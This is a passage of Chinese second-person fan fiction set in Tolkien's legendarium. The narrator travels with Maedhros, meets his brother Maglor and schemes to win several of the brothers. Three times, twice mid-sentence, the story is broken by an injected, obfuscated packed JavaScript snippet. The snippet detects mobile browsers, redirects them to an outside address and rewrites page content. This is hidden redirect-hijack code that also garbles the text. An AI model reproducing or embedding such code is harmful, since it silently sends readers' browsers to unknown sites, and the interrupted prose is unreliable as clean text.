锅里的蔬菜汤很快就开始咕噜咕噜地翻滚着,你闻到了空气中漂浮着的蔬菜香味,因为放了一点香料所以你也能接受蔬菜汤,而且多吃蔬菜也对身体有好处。 又过了一会,烤炉里的披萨也差不多了,表面的奶酪因为高温而融化,还带着点焦糖色,迈兹洛斯将热气腾腾的披萨取出,而后均匀地切成六块,动作流畅熟练,一看以前就经常那么做。 就在你们喝着汤,吃着披萨偶尔还会说两句话的时候,一道身影悄然靠近美丽安环带。 来者身披暗色斗篷,被灰精灵问及身份时才摘下斗篷的兜帽,露出一张俊美的脸庞,绵密的雨丝落在他的发间,愈发显得他的侧影朦胧,他说:“我是来找我的兄长迈兹洛斯的。” 11. 第 11 章 那负责守卫边境的灰精灵定睛一看,确认来者的身份,旋即放玛格洛尔通过,那名诺多精灵骑着的黑马踏碎地面积攒的水坑,不多时,那身影就消失在夜色里。 等你听说玛格洛尔到来已经是隔天凌晨的事情,你因为前一天睡了一下午所以哪怕到了深夜都不怎么困,就算在凌晨时分也照样清醒。 原本侧躺在你身边的迈兹洛斯似乎有所感应地起身,旋即走到门口,本来就没什么困意的你也跟着坐起来,问道:“你有事情?” 迈兹洛斯说:“嗯,我能感觉到玛格洛尔来了。” 不是吧,这都能感觉到?他们精灵手足之间的羁绊确实不容小觑,反正你也闲着无聊,而且你也想去看看那个经常被迈兹洛斯念叨的精灵到底长什么样,于是乎你也下床,说:“那我和你一块去。” 迈兹洛斯没有马上拒绝,他只是安静地,略带为难地看着你身上的睡衣,说:“可以,但你确定要穿成这样去见他吗?” 这就接受不了了吗?那你以后睡他其他弟弟的时候他不得炸毛啊?但现在毕竟你还在攻略他,所以你半是敷衍地耸耸肩,说:“好吧。” 然后你走到衣柜前拿出一套牵牛花色的套装,直接站在衣柜旁边换上,在扣背后的扣子的时候你侧过头,对着站在一旁目不斜视地看着地面的迈兹洛斯说:“你确定要一直站在那里当木头吗?” 听出你的话外之音,迈兹洛斯走了过来,在你身后站定脚步,你刚才为了方便扣扣子将自己的长发都拨到胸前,也因此露出一截后颈,皮肤雪白。 这条裙子的背后有一排扣子,你还剩下最后几个扣子扣不上去,真让你恼火。 迈兹洛斯一手捻着扣子将其套入一字扣里,这样的动作难免会让指腹滑过你的背脊,摩挲过光洁细腻的皮肤。 他几乎是屏住呼吸,而你还有闲工夫开玩笑,说:“你怎么在戳我脊梁骨?” 唉,从头到尾被为难的就只有他。 你将垂在胸前的长发给拨回到脑后,然后他就看不见你那雪白的后颈和脊背了,他得承认自己有一瞬间几乎想要亲吻。 这是正常的吗?他不禁产生这样的疑惑,都怪他之前对情爱这类东西丝毫不感兴趣,在其他精灵情窦初开的时候他还在带着自己的弟弟跟随父亲费艾诺在偌大的阿门洲土地上游历,那个时候他以为自己会永远这样下去。 恣意张扬,这样又有什么不好的呢? 但是,情感这种东西就是那么不讲道理,他见过许多因为爱而不得只能终日写诗歌哀叹自己不幸的精灵,当然,这些精灵大部分都是梵雅精灵,至少诺多精灵不会这样。 他会坦然面对自己的内心,就如同现在,在你问起他刚才在想什么的时候迈兹洛斯回答:“我想亲吻你的后颈还有脊背。” 就这么诚实地回答了。 换来的是你沉默地眨眨眼,你说:“是么,但现在你不是要去见你的弟弟吗?” 所以也只是想想而已。 迈兹洛斯主动握住你的手,说:“是我们一块去见他。” 好吧,听他这架势感觉就像是要把你介绍给他的弟弟认识,这多多少少会影响到你日后的攻略进程,但也无所谓,反正你没什么道德底线,到时候痛苦的也只是那些精灵而已,而且再说了,看他们痛苦挣扎的样子确实很有趣。 啊呀,果然来到异世界以后你的道德值都降低了好多。 在你和迈兹洛斯磨磨蹭蹭的时候,玛格洛尔已经来到正厅等待他的兄长,同时再和辛葛王说些有的没的,当初辛葛因为与迈雅美丽安坠入爱河而选择留在中土,所以他对阿门洲的近况也不是很了解,玛格洛尔是从阿门洲来的精灵,辛葛自然而然地也问起在阿门洲的泰勒瑞精灵。 比如说他的兄弟欧尔威。 那些辛葛王问的问题在玛格洛尔看来,恰恰是让他善良经受拷问,他含糊不清地说着曾经的阿门洲,还没有发生各种灾难的阿门洲。 辛葛听着,又说:“对了,你可知道与你兄长同行的还有一个人类?” 八卦是人类的天性,同样也是精灵的天性,就连辛葛也不能免俗,他说:“就是在传说中的人类,但要我说,那位人类的长相倒是和你们诺多精灵很像,我见到的第一眼都把她当成精灵了。” 玛格洛尔听辛葛那么说,长得很像诺多精灵的人类?他之前只能从哥哥迈兹洛斯住过的树屋里推测出还有一位同行者,但是他没想到那会是人类。 “好吧,看样子你也不知道,不过待会你应该就能看见她了,他们的关系很要好。”辛葛看热闹不嫌事大,又这样添了一句。 果不其然地,没出多久玛格洛尔就听见从一侧的长廊里传来的脚步声,他忙不迭地回过头,来的是他的哥哥迈兹洛斯,玛格洛尔惊喜地朝着兄长走去,三步并作两步,任何言语都无法描述迈兹洛斯被俘虏期间玛格洛尔对他的思念。 “麦提莫!”玛格洛尔亲昵地呼唤着迈兹洛斯的母名,在距离他还有一步之遥的时候唰地一下停下脚步,他的视线又很快被站在迈兹洛斯身边的你吸引。 正如辛葛王所说的,你的长相精致昳丽,只看外表估计也会将你当成精灵,但玛格洛尔很快就又看到了你那圆乎乎的耳廓,他可以确定你不是精灵。 “好久不见了,玛卡劳瑞。”迈兹洛斯也亲密地呼唤着玛格洛尔的母名。 他们兄弟俩久别重逢你站在旁边感觉像个局外人,但你也不在乎这些,更不会觉得尴尬,你甚至还好整以暇地暗中打量玛格洛尔,虽然是迈兹洛斯的弟弟,但他的发色和他的哥哥不同,是黑色的,而且五官更加柔和一些,但也是同样的俊美。 感觉是温和类型的精灵?你想。 玛格洛尔身上的斗篷都没解下,斗篷的表面沾着一层细密的雨水,看起来毛茸茸的,在你打量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16846650|191380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的时候玛格洛尔也在暗中观察你。 第一眼看见的是你的脸庞,第二眼就看见了你脖子上戴着的吊坠,那是他哥哥曾经贴身佩戴的吊坠,现在倒是跑到你身上去了,这说明什么呢?说明你和迈兹洛斯的关系或许真的很好,就和辛葛说的一样要好。 你率先打破两者之间的安静氛围,对他伸出手,说:“玛格洛尔?你好,我是苏尔,很高兴见到你。” 玛格洛尔看了一眼你悬在半空中的手,转而又看了看自己的哥哥,仿佛在无声地询问什么,后者说:“她这是在向你表示友好,玛格洛尔,她很喜欢你。” 闻言,玛格洛尔这才伸出手,握住你的手。 你的手比他的手掌要小一些,他的食指指腹甚至还在不经意间触碰到你的手腕内侧,他只是轻轻地握了一下你的手,然后就马上松开手。 有点敷衍啊,不过也有可能是在避嫌? 那就很有意思了,你就喜欢看他这种温和的精灵被惹得炸毛的样子,这很能满足你的恶趣味。 玛格洛尔收回手,还很礼貌地对你点点头,要论礼节,那是真的一点毛病都挑不出来。 在旁边看热闹的辛葛也在这时开口,他说:“很好,现在你们兄弟也已经团聚,真是温馨的一幕啊。” 如果你没听错的话他是不是在变相地向你们下逐客令? 果然,你就知道他是个小气的精灵。 迈兹洛斯会意,说:“是的,这段时间承蒙陛下的关照,既然我的弟弟也已经找过来了,那么我们就不再多打扰你了。” 啊,这就又要开始赶路了吗?你其实还挺享受在多瑞亚斯的生活的,每天吃好喝好,你的脸色都变得红润了不少,现在让你离开你还真的稍微有点舍不得呢。 但是一直在这里住下去也不是个事,所以你正要往自己的房间走去收拾行李。 跟着你一块离开正厅的还有迈兹洛斯和玛格洛尔,你走在前头,他们这对兄弟走在后头,和你大约隔了几步的距离,迈兹洛斯和玛格洛尔说话会不自觉地使用昆雅语。 简单来说就是两个土著在说方言,你一个外地人感觉被孤立排挤了。 “就是这位人类去到安格班,从魔苟斯手里救下了你?”玛格洛尔问道。 “是的,她是一位非常勇敢的人类。”迈兹洛斯点点头。 玛格洛尔不否认这一点,只不过他总觉得自己的哥哥或许对你没有那么了解,他微微蹙眉,说:“除了勇敢,你对她的了解又有多少?” 听玛格洛尔这么问,迈兹洛斯的脑海里却忽然浮现出你那背对着他的白皙后颈和脊背,他神情微妙地停顿几秒,说:“还有正直友善,非常聪明,她现在已经学会了不少精灵的文字。” 玛格洛尔叹息一声,说:“你明知道我想听的不是这个。” “我与她算得上是天作之合。”迈兹洛斯冷不丁地冒出这一句。 12. 第 12 章 要问玛格洛尔现在得到他想要的回答了吗?没有。 但要说他对这个回答感到惊讶吗?那是肯定的。 玛格洛尔说:“命中注定?” “对,命中注定。” 他的哥哥说得斩钉截铁,这反倒让玛格洛尔接下来的问题都像是质疑和否认,即便他本意并非如此。 这个时候玛格洛尔又能说些什么呢?既然他的哥哥已经平安无事地从安格班逃离,那他也不应该对你有太多的要求,这样想着的他再一次将视线放在你身上,你那披散在脑后的黑色长发柔顺光滑,伴随着你走路的动作轻轻地摇曳着。 到目前为止玛格洛尔对你还不算太了解,但你对他可就不一样了,你通过迈兹洛斯的分享知道了很多玛格洛尔小时候的趣事。 身后的两位精灵没再开口,你觉得好安静,于是回过头看了他们一眼,玛格洛尔忙不迭地移开视线,所以他刚才一直在观察你么? 啊哈,这是他偷看被你给抓包了啊,你在内心感叹一句。 迈兹洛斯说:“你也不用太着急,慢慢收拾行李就好。” 你回到自己的房间,这回迈兹洛斯没有跟过来,他和玛格洛尔在另外一个房间谈论正事。 后一步走入房间的玛格洛尔关上门,又问:“看样子你还没有告诉辛葛在天鹅湾发生的事情。” “是的,倘若我在那个时候摊牌,那我非但不能寻求帮助,甚至还会被关入地牢。”迈兹洛斯知道自己不该欺骗辛葛的,但是,当时情况紧急,他又说:“来日我会好好感谢他的。” 这不是感谢不感谢的事情,而是一旦辛葛知道了真相,他压根就不会给迈兹洛斯补偿的机会,所以玛格洛尔也知道这个提议的可行性不高,他在迈兹洛斯对面坐下,“凯勒巩他们都很担心你。” “我以为大鹰会把我逃跑成功的消息送到你们那边的。”逃跑当晚迈兹洛斯还看见了天边盘旋着的大鹰,所以猜测大鹰或许会将他被解救的消息送到自己那些个弟弟的身边。 “我们确实收到了大鹰的消息,凯勒巩还急吼吼地说要来找你,他的脾气你是知道的,所以我根本不可能让他来。” 前面铺垫得都差不多了,玛格洛尔又在这时说:“你知道苏尔她是从哪里来的吗?” 话题又绕回到你的身上,迈兹洛斯说:“不清楚,但我可以保证,只要你和她相处一阵子你肯定也会喜欢她的。” 玛格洛尔心想自己也没有讨厌你吧?他只是出于谨慎起见询问了一些问题而已,而他的哥哥就表现得那么如临大敌,这反而让玛格洛尔更加担心了,他说:“所以你么你现在是……” “是恋人。” 好吧,玛格洛尔又被哽了一下,人类和精灵,这样也能成为恋人吗?玛格洛尔不赞同地皱眉,他说:“你对人类的了解又有多少?” “不算多,但我了解我自己,如果就因为担忧这个那个错过她,日后我肯定会后悔的。” 很符合他哥哥的作风。 但凡是他哥哥做出的决定,那基本上很少有回旋的余地,玛格洛尔深谙这个道理,所以他没有表现出明显的反对态度,他只是说:“那她也是一样地喜欢你吗?” “嗯。” 这个话题聊到这里差不多就该进入尾声了,恰好隔壁的你也已经收拾好东西提着一个小巧的手提箱站在门外敲门,在你敲第一下的时候迈兹洛斯就站起身朝着门走去,打开门,你还想要再敲门的,那只手就这样举在半空中,迈兹洛斯觉得好笑又有趣地握住你的手。 “但愿我没有打扰到你们的谈话。”你说。 “不,我们的对话恰好结束,你来得正是时候。”迈兹洛斯握住你的手轻轻地摇晃了一下,旋即又对自己的弟弟玛格洛尔说:“好了,那我们也该离开了。” 说着,玛格洛尔也站起身,目不斜视地从你身边走过。 态度礼貌而疏离,看他这样子你不由地开始反思自己难不成是哪里冒犯到他了?但你复盘一遍下来也没觉得自己做错了什么,所以你就干脆把这个问题抛到脑后,反正等接触得多了你就能摸清楚他心里到底是怎么想的。 至于现在,你们要做的就是去马厩把那两匹马给牵走。 一黑一白的两匹马在多瑞亚斯生活一阵子下来就和你一样乐不思蜀,一看你们又要带着它们出远门,你的黑马稍微有点不情不愿地,这种不情愿一直到你在它耳边小声地说:“你喜欢希斯路姆吗?那里的生活也很悠闲。”这时候才打消不悦,甚至还愉快地跺跺脚,示意你赶紧到它的背上。 一旁的玛格洛尔见状就又问哥哥迈兹洛斯,“你和她说过希斯路姆的事情吗?” “提起过,她日后会生活在那里,等我的领地范围确定下来,那么她就会去往我的领地。” 但事情真的会如同迈兹洛斯说的那样简单吗?玛格洛尔不这么觉得,这倒也不是在恶意揣测你,他只是觉得你很难一直待在同一个地方,而且你对他的态度也很微妙,这也是为什么玛格洛尔会刻意和你保持距离,他可不想因为你影响他和哥哥之间的关系。 玛格洛尔很明智地没说话,他一个翻身坐在黑马的马背上,然后就看见自己的哥哥骑着马来到你身边。 他们和你就这样还算顺利地从多瑞亚斯离开,走的那一天万里无云天气晴朗,甚至就连气温都很适宜,但这一切都在穿过美丽安环带的时候发生了改变,是的,一旦离开多瑞亚斯的边境,你明显感觉到空气质量都没那么好了。 说实话你真的有点怀念美丽安了。 空气质量下降也就算了,天气也开始变得阴沉沉的,你忍不住嘟哝一声,“不是吧,真的会这么倒霉吗?” 玛格洛尔听见了你的碎碎念,你有意识压低过后的声音略带沙哑,玛格洛尔悄无声息地看了你一眼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16846651|191380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>还好这次他的视线没有被你发现,因为你的大部分注意力都在这个鬼天气上面。 走出一段距离,你总觉得时间也没过去多久,但天空中就乌云密布,更糟糕的是周围又开始大雾四起。 那大雾来势汹汹,都没给你们太多的反应时间,从出现到将你们包围可能花了不到两分钟,逃都无处可逃,关键时刻你下意识地赶到一旁的精灵身边,主动伸出手握住对方,结果你就发现手感不对。 哦不是迈兹洛斯是他弟啊,你心里嘟哝一声失礼了,然后收回手,玛格洛尔表现得还算淡定,也有可能是表面上看起来云淡风轻实则内心一团乱麻。 你主动解释道:“我还以为是迈兹洛斯。” 就算你不这么解释他也会那么想的,否则他还能怎么想呢?认为你是故意握住他的手的吗?这未免也太荒谬了一点,简直就是在污蔑你,玛格洛尔不是这样的精灵,他说:“我知道。” “这场大雾好像把我们和迈兹洛斯给隔开了。”玛格洛尔说,但他刚才都没听见打斗的声音,所以暂时可以确定迈兹洛斯没事。 你望向周围,四周都是白茫茫的一片,别说是迈兹洛斯了,你连他骑的那匹马都看不见影子,唉,骑着白马在这种大雾里就很麻烦了,几乎和大雾融为一体。 你说:“放心吧,我们会找到你的哥哥的。” 玛格洛尔听你这话总觉得很奇怪,就像是你在反过来安抚他,但无论是年纪还是阅历他应该都能算是年长者,为什么你还能这么自然而然地说出安抚他的话呢? 玛格洛尔不太明白,但这不是重点,现在的重点是离开这里。 你从自己的背包里拿出一盏灯,是你在离开多瑞亚斯的时候顺手拿的,可能是上辈子住酒店薅羊毛养成习惯了,这次你退房的时候也很理所当然地拿了点东西,比如说这盏床头灯,玛格洛尔看到你手里突然出现的灯,他就问:“这是从哪里来的?” 这个问题一问出口他就觉得很没意义,因为这必然是你从多瑞亚斯顺走的,并且还出乎意料地在这个时候派上用场。 你提着那一盏灯,散发出的柔和温暖灯光驱散周围的大雾,甚至还让你感觉到了温暖,你那被大雾侵染得冰凉的双手都变得暖和起来。 哈,真不愧是多瑞亚斯的好东西啊。 但一盏灯所能驱散的雾气是有限的,所以你们接下来还是没什么方向感地往前走,你显得很冷静,甚至偶尔还会说两个冷笑话来调节气氛,你说:“你们精灵就不能看到远方的景物吗?” “可以看到,只不过要在视线清晰的情况下。”玛格洛尔说完以后又补充一句,“难道迈兹洛斯没和你说过吗?” “你不能指望我和一个精灵相处一段时间以后就对所有精灵都了如指掌啊。”你笑了下,“所以你会因为我问这种愚蠢的问题而讨厌我吗?” “不……我并不讨厌你。” 13.第 13 章 你只是随口一问而已,但玛格洛尔显得那么严肃,回答得又那么认真,这只会激发你的恶趣味,你说:“是么,我还以为你很讨厌我呢,毕竟之前你看起来都不想和我多说一句话,我一直都在思考自己是不是哪里做错了,又或者是我说的什么话冒犯到你了呢?” 被你提在手中的提灯散发出的光芒漫上你的侧脸,愈发映衬得你的面容柔和,此时的你微微皱着眉,似乎真的在因为他的态度而失落,看到这里,玛格洛尔当即就说:“抱歉。” “你为什么要对我说道歉?我以为是我做错了事情啊。” “不,我只是……总之,我没有要针对你的意思。” 要是再追问下去,估计玛格洛尔都得要急得团团转了,你见好就收,毕竟现在你们被迷雾包围,当务之急还是走出这片迷雾,偶尔的插科打诨可以调节气氛,但总是这样就不行了,就连你自己都会觉得不合时宜。 所以你对着他眨了眨眼睛,“那就好,我也不希望自己和你的关系太差。”要不然之后又该怎么攻略啊,你在心里默默地补充后半句话。 好了,也该言归正传了,你大声呼唤迈兹洛斯的名字,但是那声音就像是被大雾给吞没了似的,没有任何回音,这样的大雾未免也太蹊跷了一点,你搓了搓手,刚才好不容易感觉到温暖的双手现在又开始发冷。 旁边的玛格洛尔也在呼唤迈兹洛斯,但同样的,毫无回应。 你和玛格洛尔对视一眼,说:“看样子只能继续往前走了。” 兴许这个时候的迈兹洛斯也在着急地呼唤你们的名字。 但是才走出没多远,玛格洛尔低呼一声,你这才看见地面上密密麻麻的毒蛇,因为毒蛇的数量太多,所以它们同一时间移动起来的时候这画面看上去就让人头皮发麻。 甚至有一条毒蛇绕着黑马的后退一直爬到玛格洛尔的小腿上。 虽说精灵不会生病,但是被毒蛇咬一口精灵也会归西,你说的是真的归西,灵魂直接飘到西方的维林诺去了。 你可不会眼睁睁地看着他被毒蛇咬住,所以你当机立断,用小刀刺中毒蛇的头颅,那条毒蛇缓慢地从玛格洛尔的小腿上滑落,就是可惜了那一把匕首被淹没在蛇堆里,但一把匕首换一个精灵,你觉得很划算,你又询问玛格洛尔:“你还好吗?” 玛格洛尔说:“还好,这些应该是魔苟斯专门培育的毒蛇,我在它们身上感受到了黑暗的气息。” 是吗?可能你是人类所以不怎么敏锐吧,反正你是没感觉到玛格洛尔所说什么黑暗气息,你只是觉得这些毒蛇一看就很歹毒。 虽然玛格洛尔嘴上说着还好,但你看他那被毒蛇粘液腐蚀的裤腿就知道他的情况好不到哪里去。 你撇撇嘴,低头一看这遍地都是的毒蛇,这样下去还真是没完没了了,于是你一不做二不休,干脆从背包里拿出上次剩下的炸.药,总之先炸开一条路再说。 玛格洛尔不太明白你的举动,但他大概能猜到你这是为了给你们清一条路出来,他刚想要说些什么,你手里的炸.药就飞了出去,点燃的导火索很快就烧到底,然后只听见轰——地一声,霎时间火光四溅。 爆.炸带起的冲击波顺利吹飞周围的大雾,你也借此机会越过密密麻麻的蛇群沿着那条开出来的路一鼓作气地冲出去。 你冲在前头,玛格洛尔紧随其后,等你们总算是逃离这片迷雾,迈兹洛斯的身影也逐渐出现在你们的视野里。 迈兹洛斯刚才听见爆.炸声就知道肯定是你出手了,果不其然地,他骑着马赶过来的时候就捕捉到了你和玛格洛尔的身影,他不禁松了一口气,说:“还好你们没事。” 你指了指玛格洛尔的小腿,说:“他看上去不像是没事的样子。” “你受伤了?”迈兹洛斯皱起眉,玛格洛尔认为你这是小题大做了,这又算是什么伤口呢?顶多就是一点小伤,哪怕不管没出几天就会自动痊愈的,因此玛格洛尔说:“问题不大。” 你们又往前走了一段路,离那片迷雾更远一些,找到一处山洞暂时停下修整一番,你负责生火,迈兹洛斯还在检查山洞内部是否存在野兽,在他深入山洞巡查的时候你成功地升起第一簇火苗。 火光点亮玛格洛尔的侧脸,他说:“你刚才是故意那么和迈兹洛斯说的吗?” 你侧过头,问:“故意说什么?” “夸大我的伤势。” 瞧他这话说的,你反问:“我这是在关心你,你难道没有感觉到吗?” 真的只是关心吗?玛格洛尔略带疑惑地蹙眉,万一他是真的误会你了呢?再说些什么或许会伤你的心,所以玛格洛尔思考再三,决定终止这个话题,但没成想你还自顾自地往下说,你说:“如果你不希望我关心的话,那我保证以后不会那么做了。” 未来即将出现的人类都会像你一样吗?那么难以应对。 他和精灵相处的经验丰富,但是和人类,很抱歉,没有这方面的经历,一切都还在摸索中。 玛格洛尔说:“没有。” “现在能让我看看你的小腿吗?”你问道,刚才他的伤口只是简单地处理了一下,你现在定睛一看才发现不光是裤腿被腐蚀了,就连布料下的皮肤也被腐蚀,稍微一动就会渗出鲜血。 这可不算是小伤口啊,亏他一路上走来居然还能一声不吭,都不带喊疼的,未免也太能忍痛了吧? 你说:“你不痛吗?” 玛格洛尔不咸不淡地说:“这和我以往受过的伤相比根本不算什么。” 是的,这个世界的精灵一点也不符合人们刻板印象中的仙气飘飘,一个比一个的能打,而且还喜欢喝酒。 “但疼痛不是用来比较的吧?就算你以前受过重伤也不能因此忽略否认现在的伤口带来的疼痛。” 话音落下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852723|191380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你忽然抬起头对着玛格洛尔笑了一下,后者有些无措地眨了眨眼睛,你的观点很新奇,疼痛是不能用来比较的吗? “那你现在可以再回答一遍我刚才的问题了吗?你疼吗?”你又笑眯眯地问道。 “啊……有点疼。”玛格洛尔的嘴唇动了动,最后说出这句话。 就这样,他在你的引导下说出了你想要听的回答,这是个好开头,希望迈兹洛斯的其他几个弟弟也能这么听话。 等迈兹洛斯在山洞里巡视一圈回来,就看见你在给玛格洛尔消毒伤口,看样子你们相处得很好,他原先还在担心你们合不来,毕竟他的弟弟在此之前都没有接触过人类,现在看来他的担心都是多余的,你轻声细语,唇角还带着浅笑。 玛格洛尔低垂眼帘,澄澈的眼瞳中倒映出你的侧影,他甚至一时间都没有发现哥哥迈兹洛斯的到来,直到迈兹洛斯出声,玛格洛尔才回过神来,脊背绷直,姿态不怎么自然,就连笑容也是,他自己也不清楚为什么会摆出这一副表情。 “苏尔在替我包扎伤口。”玛格洛尔说这话就是多此一举,他的哥哥肯定也已经看到了的,当然知道你这是在给他包扎伤口了。 好在他的哥哥并没有发现他的古怪,他在你身边坐下,询问你们晚餐想要吃些什么,你赶了一天的路疲惫已经战胜了饥饿感,你现在实在是没什么胃口,就说随便。 这样的回答惹来迈兹洛斯忧心忡忡的眼神,他说:“你没胃口?” “是啊。”这是什么大事吗? 迈兹洛斯对人类的了解没那么多,也有可能爱情往往会冲昏人的头脑,精灵也不例外,尽管你前不久才用炸.药炸飞满地的毒蛇,但在迈兹洛斯看来你没胃口吃东西那真是太危险了。 是生病了吗?还是别的什么呢? 啊,疾病,这真是对人类的诅咒啊。 迈兹洛斯又托起你的脸,揉揉你的脸颊,再摸摸你的额头,最后还有些担心地用额头抵着你的额头,确认你的体温是正常的,但他的心还是悬着的。 一旁的玛格洛尔将他哥哥的动作收入眼底,他会不会有点太紧张了呢?他想。 你说:“我没事,就是单纯的没胃口而已。” 迈兹洛斯松开手,对上玛格洛尔的目光,他就自发地和弟弟解释道:“人类是会生病的,疾病很可能会夺走人类的性命。” 这也太夸张了吧?你干脆捂住迈兹洛斯的嘴巴,给他来了个物理静音,而后说:“我说没事那就是真的没事,你别想得太多。” 迈兹洛斯缓慢地眨了一下眼睛,他从一开始的惊讶转为平静。 甚至是很平静地用唇瓣亲吻你的掌心,动作很隐蔽只有你们两个知道,可怜的玛格洛尔还一头雾水。 不是哥们,这也能亲上啊? 你挑起一边的眉毛,因为疑惑而差点变成大小眼,你记得他之前好像是很纯情的吧? 14.第 14 章 这还有点当大哥的样子吗?你不由地在心里这么想,又朝迈兹洛斯递去一个眼神,他是个聪明的精灵,应该能明白你的意思的,你隐约捕捉到他浅浅的,微不可察的叹息,紧接着你收回手,你说:“蘑菇汤吧,晚餐吃这个就好。” 要是只能吃干巴巴的干粮你只会觉得自己的命很苦。 迈兹洛斯应了一声,旋即开始准备蘑菇汤,你们这次离开多瑞亚斯的时候王后美丽安还送了专门的精灵面包给你们,饱腹感强,而且还能带来愉快的好心情,唯一需要注意的就是不能多吃,你掰下一个小角,小口小口地吃着。 等蘑菇汤好了再端着蘑菇汤吹去上面漂浮着的氤氲热气,但是下一秒那热气就又从汤面下冒出来,你这样循环往复地重复了好几次,总算是让这碗汤变得没那么烫了,你用双手托着汤碗,浅尝一口。 在晚上喝一碗热汤确实很暖胃。 眼看时间快要到你的休息时间了,迈兹洛斯就说:“好了,接下来就由我来守夜。” 但你可没想着那么早入睡啊,唉,这个世界都没什么娱乐活动吗?你的包里还装着几本梅林送给你的书籍,但都是用精灵的文字写成的,对你来说就跟看阅读理解文章似的,不过你也不傻,知道物尽其用人尽其力,于是你随意地抽出一本小说,用期待的眼神看向他们兄弟俩,“你们之中谁来给我念故事?” 玛格洛尔歪了歪脑袋,“睡前故事?”他以前还小的时候母亲奈丹尼尔也会给他念睡前故事,你的年纪看起来确实不大,所以玛格洛尔很快就接受了给你念睡前故事这个任务。 你把羊绒毛毯裹在自己的身上,舒舒服服地靠在迈兹洛斯的身上,对着玛格洛尔微微扬起下巴,说:“快点开始念吧。” 玛格洛尔翻开那本书,他的嗓音柔和,将这个故事娓娓道来,“从前在贝烈瑞安德大陆上生活着一个精灵,她的性格活泼开朗,热爱自然,她能发现初春时森林里绽放的第一朵花,也能找到藏在枝头的甜美浆果,她生活得是那么自由自在……” 嗯,这个是非常典型的童话故事开头,接下来这个主角应该就会发生一系列的奇遇,但你只是稍微一晃神,那个年轻的精灵就遇到了命中注定的恋人。 “她说:‘我们的相遇一定是命运的安排。’但她许下的诺言太轻易,又太漫不经心,她错估了自己对于爱情的耐心,是的,她是一个喜新厌旧的精灵。” 啊?你怎么觉得这个故事越听越不对劲啊?你刚才好不容易积攒起来的睡意消失得一干二净,取而代之的是满肚子的疑惑。 玛格洛尔还在专心致志地念故事,“厌倦了恋人的精灵抛弃了对方,丝毫不顾及对方哀伤的双眼,还有因为痛苦而变得黯淡的金色长发,她在离开不久后又遇到了另外一个精灵,‘这次真的是命运的安排’她在心里这么想,却从未想过她前后爱上的两个精灵竟是手足。” 停停停——这个故事在阴阳怪气什么啊?你也没有破防啊,你就是单纯地感到疑惑而已,怎么会有这么恰到好处的情节发展,还有花心的精灵主角,你很难不怀疑这是在暗示什么。 不对,这都不是暗示,已经是明示了吧? 此时的玛格洛尔已经开始念结局了,这样花心的主角在重视忠贞的精灵世界里肯定不会有好结局的,果然,最后的结局就是她不得不面对昔日两位恋人自相残杀。 玛格洛尔念出最后一个词语,然后故事就结束了,迈兹洛斯的声音飘到你的耳边,他说:“我觉得她就是没有认清自己的内心,其实她应该是深爱着第一位恋人的。” “没准她是在说谎呢?”玛格洛尔回道。 啊?他们就这么开始讨论故事的情节了?难道就不会觉得奇怪吗?这种故事听上去更像是厕所读物啊。 但迈兹洛斯和玛格洛尔却讨论得很认真,你被夹在他们中间不得不听他们一来一回的讨论。 感觉好像在听辩论赛,到最后他们谁也无法说服谁,只能将希望寄托在你身上,迈兹洛斯从身后抱住你,他说:“苏尔,你觉得呢?” 你觉得他们俩都该睡觉了,谁不睡你就给他一拳让他获得婴儿般的睡眠。 但话不能说得这么直接,你委婉地表示自己是个人类,而且还是个外地人,不懂你们精灵之间的弯弯绕绕,什么语言壁垒还有别的文化差异全都被你给搬上来了,你这甲叠得厚得不能再厚了。 没有谁能轻易破你的甲。 直到玛格洛尔问道:“你这是在逃避回答问题吗?” 哇哦,好尖锐的问题啊,诺多精灵里出了个天才记者啊,有他这么问的吗? 你说:“没有啊,你为什么会这么问呢?你之前还说不讨厌我的啊。”你知道这是两码事,但你现在就要混为一谈,把池水搅得越浑越好。 玛格洛尔哪里知道人类能有多狡猾啊,他卡顿了好几秒,许久以后才找回自己的声音,他说:“我没有。” 这下子不就掉入自证的陷阱里了吗? 你单手托腮,笑眯眯地,“没关系,我原谅你了。” 迈兹洛斯说:“但是,她如果不喜欢的话为什么还要说出‘命中注定’这种话呢?” 不是吧大哥你怎么还在纠结这个啊? “感情是瞬息万变的。”你说,要不然人类怎么会发明一种状态叫做爱过呢? 迈兹洛斯将自己的脑袋埋进你的颈窝里,他说:“但在我这里爱是亘古不变的。” 你垂下眼帘,玛格洛尔还在趁此机会观察你的表情。 看什么看,等你以后把他搞到手他就没那么云淡风轻了,你在心里哼哼哼地冷笑一声。 睡前故事听了,故事情节也讨论了,现在终于可以睡觉了,早知如此你就该一开始就老老实实地睡觉的。 